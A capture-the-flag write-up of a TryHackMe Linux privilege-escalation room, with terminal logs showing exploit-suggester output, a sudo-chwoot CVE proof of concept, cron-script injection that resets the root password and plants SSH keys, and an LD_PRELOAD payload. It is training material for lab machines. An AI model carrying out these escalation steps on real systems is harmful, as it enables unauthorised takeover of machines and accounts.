# Linux Privilege Escalation: Automation Link to the challenge on TryHackMe: [Linux Privilege Escalation: Automation](https://tryhackme.com/room/linprivautomation) ## Introduction Automation earns its keep in privilege escalation the moment you stop treating it as a replacement for manual enumeration and start treating it as a force multiplier for it. This room walks through that distinction in practice: LinPEAS, LinEnum, LES, and their siblings each surface a different slice of the same target, and knowing which tool answers which question matters more than having all of them installed. No single script catches everything — kernel exploit suggesters miss misconfigured cron jobs, and enumeration scripts don't match CVEs against your kernel version. Having a few go-to tools, and knowing why you're reaching for each one, beats leaning on a single "run this and hope" script. The path through this box touches almost every category of Linux privesc in one sitting: a kernel CVE (sudo-chwoot, CVE-2025-32463) found via Linux Exploit Suggester, a writable cron/backup script abused for password resets and SSH key planting, and an LD\_PRELOAD trick against a NOPASSWD sudo rule that doesn't even look dangerous at first glance (`/usr/bin/id`). Each stage builds on the last, and each is a small lesson in why "check permissions on everything that runs as root" is such an unglamorous but reliable mantra. This is why it would be better to be familiar with a few rather than having a single go-to tool. * [**LinPeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS): Automated script that highlights privilege escalation paths across the system — misconfigs, weak permissions, credentials, and more * [**LinEnum**](https://github.com/rebootuser/LinEnum): Scripted local enumeration tool that dumps system info, users, crons, and SUID binaries in a readable report * [**LES (Linux Exploit Suggester)**](https://github.com/mzet-/linux-exploit-suggester): Matches the kernel version against known CVEs and suggests applicable local privilege escalation exploits * [**Linux Smart Enumeration**](https://github.com/diego-treitos/linux-smart-enumeration): Enumeration script with adjustable verbosity levels — starts quiet and reveals more detail as the level increases * [**Linux Priv Checker**](https://github.com/linted/linuxprivchecker): Enumerates system info and automatically checks for common privilege escalation opportunities, flagging issues inline ![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/636c7e12-f77d-41b5-9528-0ece762bebf9.png align="center") ```markdown wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh ``` `./linux-exploit-suggester.sh` ```markdown wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh --2026-06-22 18:13:18-- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 93960 (92K) [text/plain] Saving to: 'les.sh' les.sh 100%[========================================================>] 91.76K --.-KB/s in 0.003s 2026-06-22 18:13:18 (32.3 MB/s) - 'les.sh' saved [93960/93960] root@ip-10-113-78-36:~# python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.113.142.193 - - [22/Jun/2026 18:14:04] "GET /les.sh HTTP/1.1" 200 - ``` ```markdown wget http://10.114.69.125:8000/les.sh ``` ```markdown wget http://ATTACK_IP:8000/les.sh --2026-06-22 18:14:03-- http://10.113.78.36:8000/les.sh Connecting to 10.113.78.36:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 93960 (92K) [text/x-sh] Saving to: ‘les.sh.1’ les.sh.1 100%[=======================================================>] 91.76K --.-KB/s in 0s 2026-06-22 18:14:03 (439 MB/s) - ‘les.sh.1’ saved [93960/93960] ``` ```markdown chmod +x les.sh.1 john@public-exploit:~$ ./les.sh.1 Available information: Kernel version: 6.17.0 Architecture: x86_64 Distribution: ubuntu Distribution version: 24.04 Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed Package listing: from current OS Searching among: 86 kernel space exploits 50 user space exploits Possible Exploits: [+] [CVE-2025-32463] sudo-chwoot Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/ Exposure: less probable Tags: ubuntu=24.04.1,fedora=41 Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip [+] [CVE-2022-2586] nft_object UAF Details: https://www.openwall.com/lists/oss-security/2022/08/29/5 Exposure: less probable ``` ```markdown scp CVE-2025-32463 john@10.113.142.193:/home/john/ - http://10.113.78.36:8000/CVE-2025-32463 Connecting to 10.113.78.36:8000... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: /CVE-2025-32463/ [following] --2026-06-22 18:30:56-- http://10.113.78.36:8000/CVE-2025-32463/ Connecting to 10.113.78.36:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 522 [text/html] Saving to: ‘CVE-2025-32463’ CVE-2025-32463 100%[=======================================================>] 522 --.-KB/s in 0s 2026-06-22 18:30:56 (50.5 MB/s) - ‘CVE-2025-32463’ saved [522/522] john@public-exploit:~$ ls ``` ```plaintext (ALL) NOPASSWD: /usr/bin/ls ``` ### CVE & SCP ```markdown git clone https://github.com/zinzloun/CVE-2025-32463.git Cloning into 'CVE-2025-32463'... remote: Enumerating objects: 46, done. remote: Counting objects: 100% (46/46), done. remote: Compressing objects: 100% (46/46), done. remote: Total 46 (delta 21), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (46/46), 20.45 KiB | 4.09 MiB/s, done. Resolving deltas: 100% (21/21), done. scp -r CVE-2025-32463/ john@10.113.190.29:/home/john/ john@10.113.190.29's password: index 100% 361 417.9KB/s 00:00 description 100% 73 40.4KB/s 00:00 packed-refs 100% 112 167.5KB/s 00:00 exclude 100% 240 406.3KB/s 00:00 pack-dff08356fd10768b3363cacc001dc12afaef3ccb.rev 100% 236 335.9KB/s 00:00 pack-dff08356fd10768b3363cacc001dc12afaef3ccb.pack 100% 20KB 17.7MB/s 00:00 pack-dff08356fd10768b3363cacc001dc12afaef3ccb.idx 100% 2360 2.0MB/s 00:00 HEAD 100% 21 35.2KB/s 00:00 HEAD 100% 30 33.3KB/s 00:00 main 100% 41 15.7KB/s 00:00 config 100% 267 296.1KB/s 00:00 sendemail-validate.sample 100% 2308 3.1MB/s 00:00 prepare-commit-msg.sample 100% 1492 2.0MB/s 00:00 update.sample 100% 3650 3.1MB/s 00:00 pre-commit.sample 100% 1643 560.8KB/s 00:00 applypatch-msg.sample 100% 478 516.2KB/s 00:00 pre-rebase.sample 100% 4898 4.8MB/s 00:00 fsmonitor-watchman.sample 100% 4726 5.1MB/s 00:00 pre-push.sample 100% 1374 1.5MB/s 00:00 commit-msg.sample 100% 896 1.0MB/s 00:00 push-to-checkout.sample 100% 2783 2.6MB/s 00:00 post-update.sample 100% 189 216.8KB/s 00:00 pre-applypatch.sample 100% 424 457.8KB/s 00:00 pre-receive.sample 100% 544 690.8KB/s 00:00 pre-merge-commit.sample 100% 416 477.6KB/s 00:00 HEAD 100% 195 263.1KB/s 00:00 HEAD 100% 195 241.5KB/s 00:00 main 100% 195 322.2KB/s 00:00 LICENSE 100% 11KB 6.0MB/s 00:00 woot1337.so.2 100% 15KB 16.8MB/s 00:00 poc.sh 100% 517 749.8KB/s 00:00 README.md 100% 1654 1.5MB/s 00:00 ``` ```markdown john@public-exploit:~$ ls CVE-2025-32463 linux-exploit-suggester john@public-exploit:~$ cd CVE-2025-32463 john@public-exploit:~/CVE-2025-32463$ ls LICENSE README.md poc.sh woot1337.so.2 john@public-exploit:~/CVE-2025-32463$ chmod +x poc.sh john@public-exploit:~/CVE-2025-32463$ ./poc.sh woot! root@public-exploit:/# cat /root/flag.txt THM{splo1ts-r-redacted} ``` ### pspy ```markdown ./pspy64 ``` ```markdown cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh # You can also override PATH, but by default, newer versions inherit it from the environment #PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } # cat /etc/cron.d/* 30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron 10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r # The first element of the path is a directory where the debian-sa1 # script is located PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin # Activity reports every 10 minutes everyday 5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1 # Additional run at 23:59 to rotate the statistics file 59 23 * * * root command -v debian-sa1 > /dev/null && debian-sa1 60 2 find / -type f -writable -name "*.sh" 2>/dev/null /var/local/syslog-backup.sh john@privesc:~$ ls -la /usr/local/bin/*.sh 2>/dev/null john@privesc:~$ cat /var/local/syslog-backup.sh #!/bin/bash tar -czf "/var/backup/syslog.tar.gz" "/var/log/syslog" john@privesc:~$ ls -la /var/local/syslog-backup.sh -rwxrwxrwx 1 root staff 69 Jan 20 08:58 /var/local/syslog-backup.sh john@privesc:~$ echo 'echo "root:newpass" | chpasswd' >> /var/local/syslog-backup.sh john@privesc:~$ su Password: su: Authentication failure john@privesc:~$ su Password: root@privesc:/home/john# pwd /home/john root@privesc:/home/john# cat /root/flag.txt THM{getting-root-with-redacted} ``` ### challenge ```markdown find / -type f -perm -4000 2>/dev/null /snap/core20/2379/usr/bin/chfn /snap/core20/2379/usr/bin/chsh /snap/core20/2379/usr/bin/gpasswd /snap/core20/2379/usr/bin/mount /snap/core20/2379/usr/bin/newgrp /snap/core20/2379/usr/bin/passwd /snap/core20/2379/usr/bin/su /snap/core20/2379/usr/bin/sudo /snap/core20/2379/usr/bin/umount /snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/2379/usr/lib/openssh/ssh-keysign /snap/core/17292/bin/mount /snap/core/17292/bin/ping /snap/core/17292/bin/ping6 /snap/core/17292/bin/su /snap/core/17292/bin/umount /snap/core/17292/usr/bin/chfn /snap/core/17292/usr/bin/chsh /snap/core/17292/usr/bin/gpasswd /snap/core/17292/usr/bin/newgrp /snap/core/17292/usr/bin/passwd /snap/core/17292/usr/bin/sudo /snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/17292/usr/lib/openssh/ssh-keysign /snap/core/17292/usr/lib/snapd/snap-confine /snap/core/17292/usr/sbin/pppd /snap/core/17272/bin/mount /snap/core/17272/bin/ping /snap/core/17272/bin/ping6 /snap/core/17272/bin/su /snap/core/17272/bin/umount /snap/core/17272/usr/bin/chfn /snap/core/17272/usr/bin/chsh /snap/core/17272/usr/bin/gpasswd /snap/core/17272/usr/bin/newgrp /snap/core/17272/usr/bin/passwd /snap/core/17272/usr/bin/sudo /snap/core/17272/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/17272/usr/lib/openssh/ssh-keysign /snap/core/17272/usr/lib/snapd/snap-confine /snap/core/17272/usr/sbin/pppd /snap/core18/1885/bin/mount /snap/core18/1885/bin/ping /snap/core18/1885/bin/su /snap/core18/1885/bin/umount /snap/core18/1885/usr/bin/chfn /snap/core18/1885/usr/bin/chsh /snap/core18/1885/usr/bin/gpasswd /snap/core18/1885/usr/bin/newgrp /snap/core18/1885/usr/bin/passwd /snap/core18/1885/usr/bin/sudo /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/1885/usr/lib/openssh/ssh-keysign /snap/core22/1621/usr/bin/chfn /snap/core22/1621/usr/bin/chsh /snap/core22/1621/usr/bin/gpasswd /snap/core22/1621/usr/bin/mount /snap/core22/1621/usr/bin/newgrp /snap/core22/1621/usr/bin/passwd /snap/core22/1621/usr/bin/su /snap/core22/1621/usr/bin/sudo /snap/core22/1621/usr/bin/umount /snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core22/1621/usr/lib/openssh/ssh-keysign /snap/core22/1621/usr/libexec/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/polkit-1/polkit-agent-helper-1 /usr/bin/chfn /usr/bin/sudo /usr/bin/umount /usr/bin/passwd /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/chsh /usr/bin/fusermount3 /usr/bin/su /usr/bin/mount ``` ```markdown su frank Password: su: Authentication failure john@challenge:~$ ls -la /home total 20 drwxr-xr-x 5 root root 4096 Mar 12 08:36 . drwxr-xr-x 22 root root 4096 Jun 22 19:32 .. drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 frank drwxr-x--- 4 john john 4096 Jun 22 19:48 john drwxr-xr-x 5 ubuntu ubuntu 4096 May 19 05:11 ubuntu john@challenge:~$ ls -la /home/frank total 16 drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 . drwxr-xr-x 5 root root 4096 Mar 12 08:36 .. drwxr-xr-x 2 frank frank 4096 Mar 12 08:37 Documents -rw------- 1 frank frank 24 Mar 12 08:36 flag.txt john@challenge:~$ ls -la /home/frank/Documents total 20 drwxr-xr-x 2 frank frank 4096 Mar 12 08:37 . drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 .. -rw-r--r-- 1 frank frank 39 Mar 12 08:37 budget-2025.csv -rw-r--r-- 1 frank frank 41 Mar 12 08:37 meeting-notes.txt -rw-r--r-- 1 frank frank 37 Mar 12 08:37 report-q3.txt john@challenge:~$ cat /home/frank/Documents/meeting-notes.txt Internal meeting-notes.txt - confidentialjohn@challenge:~$ cat /home/frank/Documents/report-q3.txt Internal report-q3.txt - confidentialjohn@challenge:~$ cat /home/frank/Documents/budget-2025.csv Internal budget-2025.csv - confidential ``` ```markdown cat /etc/passwd root:x:0:0:root:/root:/bin/bash john:x:1001:1001::/home/john:/bin/bash frank:x:1002:1002::/home/frank:/bin/bash ``` scp -r CVE-2025-32463/ john@10.114.155.225:/home/john/ ```markdown ./les.sh Available information: Kernel version: 6.17.0 Architecture: x86_64 Distribution: ubuntu Distribution version: 24.04 Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed Package listing: from current OS Searching among: 86 kernel space exploits 50 user space exploits Possible Exploits: [+] [CVE-2025-32463] sudo-chwoot Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/ Exposure: less probable Tags: ubuntu=24.04.1,fedora=41 Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip [+] [CVE-2022-2586] nft_object UAF Details: https://www.openwall.com/lists/oss-security/2022/08/29/5 Exposure: less probable Tags: ubuntu=(20.04){kernel:5.12.13} Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1 Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) [+] [CVE-2021-4034] PwnKit Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt Exposure: less probable Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main [+] [CVE-2021-3156] sudo Baron Samedit Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt Exposure: less probable Tags: mint=19,ubuntu=18|20, debian=10 Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main [+] [CVE-2021-3156] sudo Baron Samedit 2 Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt Exposure: less probable Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10 Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main [+] [CVE-2021-22555] Netfilter heap out-of-bounds write Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html Exposure: less probable Tags: ubuntu=20.04{kernel:5.8.0-*} Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c Comments: ip_tables kernel module must be loaded [+] [CVE-2017-5618] setuid screen v4.5.0 LPE Details: https://seclists.org/oss-sec/2017/q1/184 Exposure: less probable Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154 ``` Attackbox ```markdown git clone https://github.com/zinzloun/CVE-2025-32463.git Cloning into 'CVE-2025-32463'... remote: Enumerating objects: 46, done. remote: Counting objects: 100% (46/46), done. remote: Compressing objects: 100% (46/46), done. remote: Total 46 (delta 21), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (46/46), 20.45 KiB | 2.27 MiB/s, done. Resolving deltas: 100% (21/21), done. root@ip-10-114-69-125:~# scp -r CVE-2025-32463/ john@10.114.155.225:/home/john/ john@10.114.155.225's password: index 100% 361 420.8KB/s 00:00 description 100% 73 76.7KB/s 00:00 packed-refs 100% 112 126.4KB/s 00:00 exclude 100% 240 259.0KB/s 00:00 pack-dff08356fd10768b3363cacc001dc12afaef3ccb.rev 100% 236 188.1KB/s 00:00 pack-dff08356fd10768b3363cacc001dc12afaef3ccb.pack 100% 20KB 16.9MB/s 00:00 pack-dff08356fd10768b3363cacc001dc12afaef3ccb.idx 100% 2360 2.9MB/s 00:00 HEAD 100% 21 7.8KB/s 00:00 HEAD 100% 30 35.8KB/s 00:00 main 100% 41 36.0KB/s 00:00 config 100% 267 259.8KB/s 00:00 sendemail-validate.sample 100% 2308 2.5MB/s 00:00 prepare-commit-msg.sample 100% 1492 1.6MB/s 00:00 update.sample 100% 3650 3.9MB/s 00:00 pre-commit.sample 100% 1643 1.4MB/s 00:00 applypatch-msg.sample 100% 478 435.4KB/s 00:00 pre-rebase.sample 100% 4898 4.0MB/s 00:00 fsmonitor-watchman.sample 100% 4726 3.9MB/s 00:00 pre-push.sample 100% 1374 1.3MB/s 00:00 commit-msg.sample 100% 896 1.0MB/s 00:00 push-to-checkout.sample 100% 2783 2.6MB/s 00:00 post-update.sample 100% 189 226.2KB/s 00:00 pre-applypatch.sample 100% 424 497.7KB/s 00:00 pre-receive.sample 100% 544 594.4KB/s 00:00 pre-merge-commit.sample 100% 416 319.0KB/s 00:00 HEAD 100% 194 196.5KB/s 00:00 HEAD 100% 194 241.5KB/s 00:00 main 100% 194 212.1KB/s 00:00 LICENSE 100% 11KB 10.3MB/s 00:00 woot1337.so.2 100% 15KB 11.3MB/s 00:00 poc.sh 100% 517 665.7KB/s 00:00 README.md 100% 1654 1.6MB/s 00:00 ``` ```markdown uname -r ./les.sh | head -50 find / -writable -type f -name "*.sh" 2>/dev/null 6.17.0-1013-aws Available information: Kernel version: 6.17.0 Architecture: x86_64 Distribution: ubuntu Distribution version: 24.04 Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed Package listing: from current OS Searching among: 86 kernel space exploits 50 user space exploits Possible Exploits: [+] [CVE-2025-32463] sudo-chwoot Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/ Exposure: less probable Tags: ubuntu=24.04.1,fedora=41 Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip [+] [CVE-2022-2586] nft_object UAF Details: https://www.openwall.com/lists/oss-security/2022/08/29/5 Exposure: less probable Tags: ubuntu=(20.04){kernel:5.12.13} Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1 Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) [+] [CVE-2021-4034] PwnKit Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt Exposure: less probable Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main [+] [CVE-2021-3156] sudo Baron Samedit Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt Exposure: less probable Tags: mint=19,ubuntu=18|20, debian=10 Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main [+] [CVE-2021-3156] sudo Baron Samedit 2 Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt Exposure: less probable /opt/scripts/backup.sh /home/john/CVE-2025-32463/poc.sh /home/john/les.sh ``` ```markdown cat /opt/scripts/backup.sh #!/bin/bash tar czf /tmp/backup-$(date +%Y%m%d).tar.gz /home/frank/Documents 2>/dev/null john@challenge:~$ ls -la /opt/scripts/backup.sh -rwxrwxrwx 1 frank frank 89 Mar 12 08:37 /opt/scripts/backup.sh ``` ```markdown echo 'cp /home/frank/flag.txt /tmp/flag.txt && chmod 644 /tmp/flag.txt' >> /opt/scripts/backup.sh john@challenge:~$ cat /frank/flag.txt cat: /frank/flag.txt: No such file or directory john@challenge:~$ cat /tmp/flag.txt THM{Frank_Pwned_redacted} ``` ```markdown ssh-keygen -f /tmp/frankkey -N "" Generating public/private ed25519 key pair. Your identification has been saved in /tmp/frankkey Your public key has been saved in /tmp/frankkey.pub The key fingerprint is: SHA256:dl1ELe/bfCdppuPwgcbIsTg2Htm+i1wdcq2SDnS+r+0 john@challenge The key's randomart image is: +--[ED25519 256]--+ | .o. | | .. .| | .o | | o . .| | . S + o . | | . O @ + .| | O X B . oo| | + X = o..=.=| | + B*E.+= .o| +----[SHA256]-----+ john@challenge:~$ echo 'mkdir -p /home/frank/.ssh && cat /tmp/frankkey.pub >> /home/frank/.ssh/authorized_keys && chmod 600 /home/frank/.ssh/authorized_keys' >> /opt/scripts/backup.sh john@challenge:~$ ssh -i /tmp/frankkey frank@10.114.155.225 Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1013-aws x86_64) frank@challenge:~$ sudo -l Matching Defaults entries for frank on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=LD_PRELOAD User frank may run the following commands on challenge: (root) NOPASSWD: /usr/bin/id ``` ```markdown frank@challenge:~$ which gcc /usr/bin/gcc frank@challenge:~$ cat >> /opt/scripts/backup.sh << 'EOF' cat > /tmp/shell.c << 'CEOF' #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -c 'echo root:newpass | chpasswd'"); } CEOF gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles sudo LD_PRELOAD=/tmp/shell.so /usr/bin/id EOF su Password: root@challenge:/home/frank# cat /root/flag.txt THM{Priv_Ch@l_redacted} ``` ## Conclusion What stands out across this whole chain isn't any single exploit — it's the pattern of trust that keeps getting misplaced. A world-writable backup script running out of cron is functionally the same vulnerability as a misconfigured sudoers entry: something running with elevated privileges that a lower-privileged user can influence. Whether that influence comes through a writable file, an inherited environment variable like `LD_PRELOAD`, or a kernel bug, the underlying question is identical — what can this user reach that a root-owned process will later trust? The LD\_PRELOAD escalation is the neatest illustration of that principle here. `sudo -l` showing `NOPASSWD: /usr/bin/id` looks almost like a joke of a privilege — until you notice `env_keep+=LD_PRELOAD` sitting in the Defaults line. `id` itself never needed to be dangerous; the environment it was allowed to inherit was. That's a good one to keep in the reference pile: sudo rules are only as safe as the environment variables sudo has been told to preserve. Running through LinPEAS, LES, and manual checks side by side on the same box is also worth internalizing as a workflow, not just a tool list — automation gets you to candidate paths fast, but confirming and chaining them (write access, cron timing, environment inheritance) is still manual work. That combination is what actually gets you root, and it's the muscle worth building for OSCP and PT1 boxes that won't hand you a CVE suggestion on a silver platter.